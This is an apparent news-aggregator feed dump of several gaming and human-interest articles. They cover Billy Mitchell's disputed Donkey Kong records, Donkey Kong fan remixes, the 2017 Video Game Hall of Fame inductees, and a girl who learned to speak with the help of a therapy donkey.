I’ve reached out to Mitchell for a comment on this story, and I’ll update it with any new information.

“I have no grudges or jealousy toward Billy,” Young told GamesBeat. “While we both play DK, we’re not direct competitors so I have nothing to gain by knocking him down the leaderboard. Gaming is a hobby for me and always will be regardless of how this story pans out. Billy’s status in the gaming world (good or bad) doesn’t affect that. It’s important to realize that my motivations here are all about leaderboard and competitive integrity — this isn’t about Billy in particular and trying to knock him down a peg.”

You can read Young’s detailed argument against Mitchell right here. The primary allegation is that Mitchell played his best Donkey Kong games on the Multiple Arcade Machine Emulator (MAME) while maintaining that he was playing on original arcade hardware. The explanation of the evidence is a bit technical, so let me break it down as simply as I can:

  • MAME and the original Donkey Kong arcade machine, which I’ll just call “arcade,” render Donkey Kong’s visuals differently.
  • MAME renders in huge chunks of a level all at once.
  • Arcade draws in the level with a sliding-door effect from left-to-right
  • If you slow down footage of Donkey Kong to 1 frame per second, you can see what each of those methods looks like.

Here’s some GIF examples from the breakdown:

MAME 0.122 to 0.126

See how the ladders render in all at once and then the steel beams blink into existence after that? This is how MAME handles Donkey Kong.

Direct-feed Arcade

Score chaser Chris Gleed has one of the only direct-feed recording setups for Donkey Kong in the world. See how the entire level gets drawn into the game from left to right? This is how the arcade works.

Billy Mitchell

Now, watch how Mitchell’s footage for this 1.05-million-point run renders in the ladders and then the steel beams just like the MAME version.

Did Billy Mitchell cheat?

Young considers the evidence against Mitchell conclusive when it comes to falsifying his Donkey Kong platform, but he also suggests that cheating isn’t just possible — it’s “likely.”

“While clearly MAME, there is no way to tell exactly how these games were performed,” reads Young’s post. “It’s possible they were recorded in one shot. Given the playstyle in Billy’s videos, it’s more likely that vanilla MAME’s [recording feature] was abused.”

MAME’s INP recording capability enables players to rewind their mistakes, continue playing, and then stitch together a final recording that looks like one, unbroken playthrough. Scorekeepers like Young often do accept results performed on MAME, but they typically require independent, in-person verification or live video on a service like Twitch that shows the game and the player all at the same time.

Mitchell has not verified his score in any of those alternative ways with the exception of a witness by the name of Todd Rogers. If that name is familiar, it’s probably because Rogers just made headlines for a high-score scandal of his own. The scorekeeping website Twin Galaxies revealed this week that it is removing all of Rogers records after an analysis revealed his submitted score of 5.51 seconds in the Atari game Dragster is technically impossible.

Beyond that, Mitchell doesn’t have a lot of proof to back up his claims.

“While many people have seen Billy play in public, there are no known independent, impartial, objective witnesses to any of the The Big 3 WR games,” reads Young’s post. “He has never scored over 1,000,000 in a live venue. Billy claimed the 1.047M was done in front of scores of people, but that he had no access to the inside of the machine…so how did he set up the direct feed? The 1.05 was supposedly done at an actual convention, but Billy was conveniently playing in another room. The 1.062 was done in arcade in Florida, but the only live footage from that day was staged (the Boomer board swap) and shows no evidence of a direct feed setup.”

I asked Young flat out if he thinks Mitchell cheated.

“At the very least he misrepresented a MAME performance as an arcade performance,” he said. “It’s possible to achieve a good score in one attempt and it’s probably impossible to prove how his MAME score was achieved. At minimum: deception. But most likely: cheating. There is a certain crowd of arcade gamers who dislike MAME, and Billy has told people that scores on MAME don’t count, so even if it was a legitimate MAME performance, it would undermine everything he has ever said about public performances and MAME itself.

Getting 1 million points in Donkey Kong is not a common occurrence even for the best players, so it’s not an issue on its own that Mitchell hasn’t performed that particular feat in a public performance. But deliberately misleading judges about hardware along with a lack of verifying evidence is enough, at least for Donkey Kong Forum, to remove his scores.

Of course, a lot has changed in the Donkey Kong community since King of Kong. That movie attracted a wave of new contenders who eventually blew away Mitchell’s and Wiebe’s scores. The current world best is Robbie Lakeman’s 1.230 million points. And Lakeman? He played on an original arcade machine and verified his score by playing it live on video.

But hey, Lakeman’s a Pats fan, so maybe he’s playing with a deflated arcade cabinet?

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]]> https://briefnews.eu/king-of-kong-star-billy-mitchell-lied-claims-donkey-kong-world-record-analysis/feed/ 0 Donkey Kong gets his own Christmas special in the form of a fan-made arcade remix https://briefnews.eu/donkey-kong-gets-his-own-christmas-special-in-the-form-of-a-fan-made-arcade-remix/ https://briefnews.eu/donkey-kong-gets-his-own-christmas-special-in-the-form-of-a-fan-made-arcade-remix/#respond Thu, 07 Dec 2017 08:25:44 +0000 http://briefnews.eu/donkey-kong-gets-his-own-christmas-special-in-the-form-of-a-fan-made-arcade-remix/

It’s the season for holiday specials, but game developers don’t make many of these for their properties. Sure, you can go back and play Sega’s Christmas Nights or dabble in the occasional online event, but now you can also evade gingerbread men and giant snowballs in a special holiday version of Donkey Kong.

Sock Master, a Donkey Kong community hacker, has released the DK Remix Christmas edition as part of a holiday tournament on the Donkey Kong Forum website. This version of Nintendo’s arcade classic covers the levels in snow, puts Pauline in a red party dress, and gives a wintry spin to many of its other elements. You can play it if you have the original Donkey Kong arcade ROM and the MAME emulator and download the remix from donkeykongforum.com.

The tournament, which is a small fan event, has a prize pool of $ 250 and a DK Remix T-shirt. The person with the highest score gets $ 100. The Donkey Kong Forum is also planning to award cash bounties to people who get to the game’s kill screen, the first person to get 1 million points, and the person who gets the highest end-stage bonus. This tournament starts December 16 and runs through the end of the month.

I am announcing my retirement from Donkey Kong Christmas competitions due to my need to “git gud.”

See how terrible I am for yourself:

But hey, maybe I can’t compete against the diehard Donkey Kong community, but I’m willing to play against some of your putzes. Hit me up on Twitter with your score, and I’ll see if I can beat it. In the meantime, Merry Christmas, ya filthy animal (Donkey Kong).

Submit your PC game by December 14th for free testing and be entered to win an @intel​ CORE i9 PROCESSOR worth $ 1000, an iBUYPOWER​ Revolt 2 Pro Z370 worth $ 1750, or an ASRock​ X299.

ENTER & WIN: Submit your PC game to the Intel Game Dev Program

VentureBeat

]]> https://briefnews.eu/donkey-kong-gets-his-own-christmas-special-in-the-form-of-a-fan-made-arcade-remix/feed/ 0 Trippy Fan Game Transforms Donkey Kong Country Into Vaporwave  https://briefnews.eu/trippy-fan-game-transforms-donkey-kong-country-into-vaporwave/ https://briefnews.eu/trippy-fan-game-transforms-donkey-kong-country-into-vaporwave/#respond Sun, 07 May 2017 20:41:42 +0000 http://briefnews.eu/trippy-fan-game-transforms-donkey-kong-country-into-vaporwave/

This jenky ode to a dead music genre lets you collect bananas while trampling through a glitched-out Jungle Hijinxs as a slowed-down, reverb-infested remix of the DKC soundtrack plays in the background. Any questions?

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DonkeyKong.exe resulted from a very small game jam taking place in Gothenburg, Sweden. The group, Indie Games Gothenburg, decide to work on completing a bunch of game experiments around the theme of bananas prior to Retrospelsmässan, a local convention celebrating retro games. One was a platformer in the style of a Virtual Boy game, complete with a homemade headset. Another let you decorate a polygonal banana with an uncanny resemblance to Wario.

And then there was DonkeyKong.exe, also titled スーパードンキーコング Ｄ Ｒ Ｅ Ａ Ｍ Ａ Ｋ Ｅ, a micro-game (it’s only a few minutes long) that marries the nostalgia of a classic SNES platformer with ironic mix-media collages inspired by vaporwave. Created by Sebastian Strand, there’s not a whole lot to say about the project other than it’s lovely bizarre little mash-up of two great things that approximates the culture and aesthetic sensibility of 90s gaming like few things can.

If you’re wondering what the hell vaporwave is, the above is a prime example. A track by the artist Vektroid who created it under the alias Macintosh Plus, Lisa Frank 420 / Modern Computing was what got stuck in Strand’s head and drove him to want to dive deeper into the music and art surrounding vaporwave, and eventually even create a game inspired by the movement. Chill and dreamy, the genre of music hit critical mass in the early 2010s but was subsequently declared dead by its progenitors who had already begun moving on to make music in different sub genres (an easy way to pass the time is to go into the Youtube comments of any vaporwave track and watch listeners debate the finer points of made-up genres 99.9% of people have never heard of before).

“A colleague of mine had the cover art of ‘Macintosh Plus – Floral Shoppe’ as his desktop background, and it was too weird and interesting for me to not ask what it was all about,” Strand told me in an email. “He showed me the album, and the music was as strange as the aesthetics around it. I was a bit dismissive at first, but after whistling to the tune of “Lisa Frank 420 / Modern Computing” for three days straight I realized I had to go back.”

GIF

Vaporwave’s fans are diehard, but in my experience the music leaves most people unphased. Instead, it caters to a very particular set of tastes, including 90s elevator muzak, muffled, downtempo beats, and the idiosyncratic but iconic sounds of obsolete technology ranging from the Windows 97 startup music to the computer chorus echoing the word “Sega” every time you booted up Sonic. Strand turned out to fit that profile.

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“I surrendered and was hooked,” he said. “I drank the Kool-Aid and dove down into the maddening hole of the genre, discovering all the wonderful variations, sub genres, movements and memes from Future Funk to Vaportrap to Simpsonwave. The mere spectrum of how Vaporwave is expressed and redefined is just amazing to me.”

He continued, “Beyond just how it sounds, it’s ambivalent relationship to commercialism and the notion of dissecting (often superficial) popular culture and twisting and redefining it into something new just tickles me the right way.”

DonkeyKong.exe tries to capture those same features and apply them to a game that could not be more a product of its time. Donkey Kong Country even opens with Cranky Kong spinning a phonograph in analog before Donkey and Diddy drop in with a boombox to start blasting the future until grandpa’s ears bleed, so there’s a certain kind of logic to Strand’s project. The game is three levels mostly based around Donkey and Diddy hopping through the jungle to collect bananas and golden letters arranged in weird patters while a stripped out background substitutes a pre-rendered sunset for something more cyberpunk.

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But it’s the third level where Strand does the most work, swapping out the moment when Donkey Kong walks into his cave to discover his hoard of bananas has been stolen with one where Cranky Kong falls Alice In Wonderland-style down through a montage of the game’s marketing iconography. “It’s Cranky falling through a twisted mash up of Japanese Donkey King commercials,” Strand said. “…it doesn’t lend itself very well to description and I encourage you to just play it again if you get the time.”

GIF

By ripping the imagery from its original home, a thirty second spot in-between Garfield and Friends on Saturday morning or a grey cartridge you used to rent from Blockbuster, the artifice disappears to reveal the objects of our affection in a new light. Vaporwave is to some degree a reaction to the conspicuous consumption of the late 80s, and how even trying to resist that through movements like slackerism or grunge give birth to their own form of uncritical materialism.

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In DonkeyKong.exe, this sentiment manifests itself in phrases scattered through out that cast a cynical eye on the way gaming tries to commodify fun and is perhaps willing to trade its soul in the pursuit of great #content. “All this game play is too much for me,” DonkeyKong.exe says at pone point.

While Strand’s project is the first that I’m aware of to inflict the beautiful baggage of vaporwave on the Donkey Kong Country programming code, it’s by no means the first mashup in general. Music and scenes from the late 90s TV show have gotten similar treatment, while the game’s animations have been used to create videos for some of the most prominent vaporwave tracks.

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DonkeyKong.exe ends with a jab at the idea that vaporwave and Donkey Kong Country could both be dead when so many people continue to be invested in playing with and re-imagining them, and with any luck, the best days of Donkey Kong wave are still ahead.

Kotaku

]]> https://briefnews.eu/trippy-fan-game-transforms-donkey-kong-country-into-vaporwave/feed/ 0 Donkey Kong, Halo: Combat Evolved, Pokémon Red and Green, and Street Fighter II have been inducted i https://briefnews.eu/donkey-kong-halo-combat-evolved-pokemon-red-and-green-and-street-fighter-ii-have-been-inducted-i/ https://briefnews.eu/donkey-kong-halo-combat-evolved-pokemon-red-and-green-and-street-fighter-ii-have-been-inducted-i/#respond Fri, 05 May 2017 11:00:16 +0000 http://briefnews.eu/donkey-kong-halo-combat-evolved-pokemon-red-and-green-and-street-fighter-ii-have-been-inducted-i/ Donkey Kong, Halo: Combat Evolved, Pokémon Red and Green, and Street Fighter II have been inducted into the World Video Game Hall of Fame. They were picked out of twelve finalists that included Final Fantasy VII, Mortal Kombat, Portal, Resident Evil, and Wii Sports. 

Kotaku

]]> https://briefnews.eu/donkey-kong-halo-combat-evolved-pokemon-red-and-green-and-street-fighter-ii-have-been-inducted-i/feed/ 0 Gaming’s new hall of famers: Donkey Kong, Halo, Pokémon Red and Green, and Street Fighter II https://briefnews.eu/gamings-new-hall-of-famers-donkey-kong-halo-pokemon-red-and-green-and-street-fighter-ii/ https://briefnews.eu/gamings-new-hall-of-famers-donkey-kong-halo-pokemon-red-and-green-and-street-fighter-ii/#respond Thu, 04 May 2017 16:00:57 +0000 http://briefnews.eu/gamings-new-hall-of-famers-donkey-kong-halo-pokemon-red-and-green-and-street-fighter-ii/

Drumroll please. The new inductees for the World Video Game Hall of Fame have been announced, and the winners are Donkey Kong, Halo: Combat Evolved, Pokémon Red and Green, and Street Fighter II.

The Strong National Museum of Play announced the inductees for 2017 at a ceremony in Rochester, N.Y., today in recognition of games that have a huge impact on gamers and world culture. It is the third time the museum has selected gaming’s icons for its World Video Game Hall of Fame, and I was privileged to be one of the voters.

The winners were selected by judges from a field of 12 finalists that also included Final Fantasy VII, Microsoft Windows Solitaire, Mortal Kombat, Myst, Portal, Resident Evil, Tomb Raider, and Wii Sports. The four inductees span multiple decades, countries of origin, and gaming platforms, but all have significantly affected the video game industry, popular culture, and society in general, the museum said.

Released in 1981, Donkey Kong helped to launch the career of legendary game designer Shigeru Miyamoto and became Nintendo’s most profitable game to that point, selling an estimated 132,000 arcade cabinets. Donkey Kong also introduced the world to the plucky plumber Mario—who became the star of numerous other games and one of the most recognizable video game characters in the world.Timeline cover Donkey Kong

“Without Donkey Kong there would be no Super Mario Bros., a member of the inaugural class of the World Video Game Hall of Fame,” says Jon-Paul Dyson, director of The Strong’s International Center for the History of Electronic Games. “But Donkey Kong is also about much more than one character. Its overarching narrative of love and its vibrant graphics brought the game to life in a way that few other games could in the early 1980s. It captured the hearts of a generation.”

And when Microsoft released its Xbox system in 2001, more than 50 percent of the consoles sold with the launch game Halo: Combat Evolved. The science-fiction, first-person shooter games combined an intricate storyline, memorable characters like Master Chief, and a dynamic multi-player experience. The game sold more than six million copies and inspired a number of sequels and spin-offs, as well as novels, comic books, and action figures.

The Strong’s Associate Curator Shannon Symonds, said in a statement, “Until Halo’s launch, the most successful shooters required a personal computer and the precision offered by a high-quality mouse. Halo proved a console could be just as effective, if not better, than a PC. It also boasted one of the strongest multiplayer experiences of its time and created a legion of hardcore fans that refer to themselves as the ‘Halo Nation.’”

Above: Halo

Image Credit: Microsoft

Pokémon Red and Green created a multinational cultural phenomenon when it was released on the Nintendo Game Boy in 1996 as Pocket Monsters Aka (Red) and Midori (Green). The game challenged players to collect 151 unique monsters, and Nintendo coined the ubiquitous catch-phrase, “Gotta catch ‘em all!” As of 2014, the Pokémon franchise has encompassed more than 260 million copies of its games, 21.5 billion trading cards, and numerous spinoffs including more than 800 television episodes and 17 movies. Says Symonds, “Pokémon Red and Green launched a franchise that has taken the world by storm, vaulting many of its characters, such as Pikachu, into popular, mainstream culture. Nearly two decades after its inception and with the introduction of Pokemon Go, ‘Poké-mania’ shows little sign of fading.”

And here’s what the museum said about Street Fighter II: Released by Capcom in 1991, Street Fighter II: The World Warrior helped to spark an arcade renaissance in the 1990s. The game inspired numerous sequels and an entire genre of one-on-one fighting games. Capcom sold more than 60,000 original cabinets and a staggering 140,000 cabinets and game conversion kits of the company’s “Champion Edition,” making it one of the top-selling arcade games ever.

“Street Fighter II allowed for head-to- head battles between human opponents, instantly attracting spectators and generating fierce tournament play in arcades across the world,” says Jeremy Saucier, assistant director of The Strong’s International Center for the History of Electronic Games. “This communal style of game play reinvigorated the arcade industry in the 1990s and helped give birth to a generation of fighting games.”

The World Video Game Hall of Fame at The Strong was established in 2015 to recognize individual electronic games of all types—arcade, console, computer, handheld, and mobile—that have enjoyed popularity over a sustained period and have exerted influence on the video game industry or on popular culture and society in general. Inductees were announced at The Strong museum in Rochester, New York, on May 4, 2017 and are on permanent view on the museum’s second floor. Anyone may nominate a game to the World Video Game Hall of Fame. Final selections are made on the advice of journalists, scholars, and other individuals familiar with the history of video games and their role in society.

I voted for Halo, Portal, Pokémon Red and Green, Wii Sports, and Donkey Kong. Three out of five isn’t bad, and I figure my other votes will eventually make it into the pantheon.

In my opinion, Halo proved that it was possible to make a first-person shooter game on the consoles, and it combined all the elements that make for a great game. It had beautiful music, compelling characters, a gripping story, awesome 3D grapihcs, and great sound.

I also thought that Pokemon Red and Green spawned a whole generation of memories for kids and adults alike. It had simple yet addictive gameplay. And Donkey Kong was a simple game that was difficult to master. It rewarded absolute attention to the joystick, and it spawned arcade heroes like Steve Wiebe.

Of course, I wasn’t so lucky with my choice for Portal, which gave us memorable characters and a sense of humor that is so rare in video games. It had clever puzzles, and a funny ending. And I felt that Wii Sports deserved a spot because it widened the game market, bringing in everyone from toddlers to grandparents into the Wii generation.

VentureBeat’s PC Gaming channel is presented by the Intel® Game Dev program. 

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]]> https://briefnews.eu/gamings-new-hall-of-famers-donkey-kong-halo-pokemon-red-and-green-and-street-fighter-ii/feed/ 0 AMBER'S DONKEY: How a rescue animal helped a girl to speak https://briefnews.eu/ambers-donkey-how-a-rescue-animal-helped-a-girl-to-speak-2/ https://briefnews.eu/ambers-donkey-how-a-rescue-animal-helped-a-girl-to-speak-2/#respond Mon, 17 Apr 2017 01:48:00 +0000 http://briefnews.eu/ambers-donkey-how-a-rescue-animal-helped-a-girl-to-speak-2/

Donkey an familyAMBER’S DONKEY

Justing and Tracy Austwick had never heard their daughter Amber utter so much as a single word

Born prematurely at 26 weeks, together with her twin sister Hope, Amber had been rushed to intensive care for an emergency tracheostomy – an operation to make it possible for her to breathe – within moments of her birth. 

It saved her life, but the little pipe in her neck meant that no air flowed over her vocal cords, which are higher up. Amber was alive but she was mute. Unable to talk as well as unable to laugh, her parents were beside themselves; happy their girl had survived her very difficult early years, but devastated at the thought she might never be able to express herself. 

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“I didn’t feel happy with the idea of her going to nursery school, let alone primary school, if she wasn’t able to make her needs known,” explains Tracy, 37, who hoped her daughter’s doctors would be able to find a way to help her find her voice. 

Surgery to her windpipe was considered too risky, as there was no certainty that it would work. 

“I was convinced that there had to be something else we could do for her,” she adds. 

Finally, when she was three, and following her mother’s determined urging, Amber was old enough to be fitted with a device that could perhaps make speech possible. 

AMBER AND SHOCKSAMBER’S DONKEY

Amber with Shocks the Donkey

A Passy-Muir valve, or speaking valve, enables air to flow into a tracheostomy – or trachy – tube, but seals shut after a breath has been taken. The result is that when air is exhaled it passes up over the vocal cords in the usual fashion.

She really does love him

Tracy Austwick

It takes a while to learn to use the device, but if a child’s vocal cords have not been damaged, this should theoretically make speech possible. But it was a big ‘if’. 

Even if air was flowing in the right direction, there was still the chance that Amber would not be able to make a sound. Tracy was desperate to find out if her little girl would be able to communicate like any other child. She gently fixed the valve to the trachy tube and talked to her daughter, but Amber smiled and continued to mouth words without speaking them. 

This went on for days with Amber continuing to favour the sign language she had been taught. “Why couldn’t she connect the vocal cords with the words?” Tracy wondered. 

Then she had an idea that was to change Amber’s life. 

“Maybe Shocks will help Amber to speak?” she suggested to her husband Julian. 

Shocks is a rescue donkey. He was found tethered so tightly to a rope on a farm near Galway, Ireland, in 2010 that his neck was lacerated. He had been horrifically abused and was very distrustful of people. 

But following a tip-off from a member of the public Shocks was rescued and sent to the Donkey Sanctuary’s Assisted Therapy Centre in Birmingham where he was trained as a therapy donkey for disabled children. It is close to the Austwick’s home. 

AMBER FAMILYPH

Amber with her family

Amber had first met Shocks when she was two-and-a-half. At that time she could just about hold her head up but couldn’t sit unaided. Her short life had been one of constant medical intervention and a need for ‘suctioning’ the trachy tube – sometimes 100 times a day – to keep her airways clear. 

As well as the need for the trachy tube, Amber’s premature birth had led to a brain bleed and this, in turn, had led her to develop cerebral palsy which made it difficult for her to coordinate her movements. 

“The best Amber could do was shuffle around on her side in circles,” says Julian, 44, a filmmaker. “It was heartbreaking.” 

But when Shocks met Amber in 2013 something remarkable happened. The equally withdrawn little donkey lowered his head and let Amber wrap her arms around his neck. It was to prove an intense bond, and one that was to help both child and donkey – and change Amber’s world entirely. 

Tue, March 21, 2017
A cheeky Great White Shark grins for the camera

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A cheeky Great White Shark grins for the camera

Over time, riding Shocks helped the little girl develop muscles that allowed her to walk, defying her doctors’ expectations. She was even able to let go of the saddle for short periods. 

Her parents were overwhelmed with the change in their young daughter. 

“It was to do with confidence and trust,” says Tracy. “They trusted each other, no words needed to be said, they just got on with it.” 

Her father agrees. “Everybody she had ever met had been doing something horrible and medical to her, including us; sticking tubes up her nose for example,” he says. 

“Shocks was the first creature who didn’t want to do anything like that. She was enough as she was. He had no expectations of her.” 

And if Shocks had helped Amber find the motivation to move, stand and walk, despite her disability, perhaps he could help her find the confidence to learn to speak. 

Tracy dared to hope that if she attached the special valve over the tube while Amber was with the donkey she adored, perhaps that would encourage her to express herself through speech? 

After riding Shocks, that day in November 2013, it was time for Amber – who had still not said a word – to say goodbye. 

She looked sad and leaned forward to cuddle his furry neck. “I love you, Shocky,” she said. 

Tracy burst into tears.

“I’m sorry,” she told the therapist who was with Amber. “I just never thought this day would happen.” 

Since then, Amber hasn’t stopped talking. Her voice sounds like any enthusiastic six-year-old’s [NB to subs, Amber will be 7 on 16/06/17]. 

She is thriving and meeting all her targets at school, where she has a Complex Care Carer to help her manage her trachy tube. 

Donkey SanctuaryGOOGLE

The Donkey Sanctuary’s Assisted Therapy Centre in Birmingham

And Shocks remains central to her affections. 

“She really does love him,” says Julian. “When she saw him a few weeks ago she had him on a lead and was walking him around, later telling me ‘Shocks was really good today because he listened.’” 

But for many months there was one thing missing. Shocks himself had never made a sound. 

The staff at the donkey sanctuary knew that he would truly be on his own road to recovery when he let out his first bray. 

According to experts, every donkey’s bray is different. But no-one at the sanctuary had ever heard Shocks demand food or make his presence felt vocally. 

In February 2014, six months after Amber first spoke, she had to go into hospital for a severe infection. 

It meant she didn’t see Shocks for two months. The day she returned to the donkey sanctuary Shocks was so happy to see her he let out his first bray. 

“I’d say they healed each other,” says Julian, of the remarkable bond between donkey and child. 

● To order “Amber’s Donkey: How a Donkey and a Little Girl Healed Each Other by Julian and Tracy Austwick (Ebury Press, £8.99) Please call the Express Bookshop with your card details on 01872 562310. Alternatively please send a cheque or postal order made payable to The Express Bookshop to:- Donkey Offer PO Box 200, Falmouth, Cornwall, TR11 4WJ or visit  UK delivery is free. For more information on the work of the charity see thedonkeysanctuary.org.uk

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